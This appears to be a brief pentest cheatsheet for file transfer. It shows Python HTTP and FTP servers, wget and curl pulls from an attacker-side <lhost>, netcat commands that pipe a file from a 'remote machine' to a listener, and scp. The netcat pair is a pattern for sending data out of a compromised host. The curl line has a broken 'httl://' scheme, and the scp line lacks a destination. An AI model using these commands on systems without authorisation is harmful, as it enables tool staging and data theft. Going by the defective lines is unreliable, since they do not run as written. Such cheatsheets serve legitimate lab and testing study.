File Transfer
File Transfer cheatsheet
File Transfer
Web Server
1
2
3
4
5
python2 -m SimpleHTTPServer 8000
python3 -m http.server 8000
wget http://<lhost>:8000/<file>
curl httl://<lhost>:8000/<file> -O
FTP Server
1
python -m pyftpdlib -p 21 -w
Netcat
1
2
nc -nvlp <lport> > file # local machine
nc -vn <lhost> <lport> < file # remote machine
SCP
1
scp <user>@<rhost>:/path
This post is licensed under CC BY 4.0 by the author.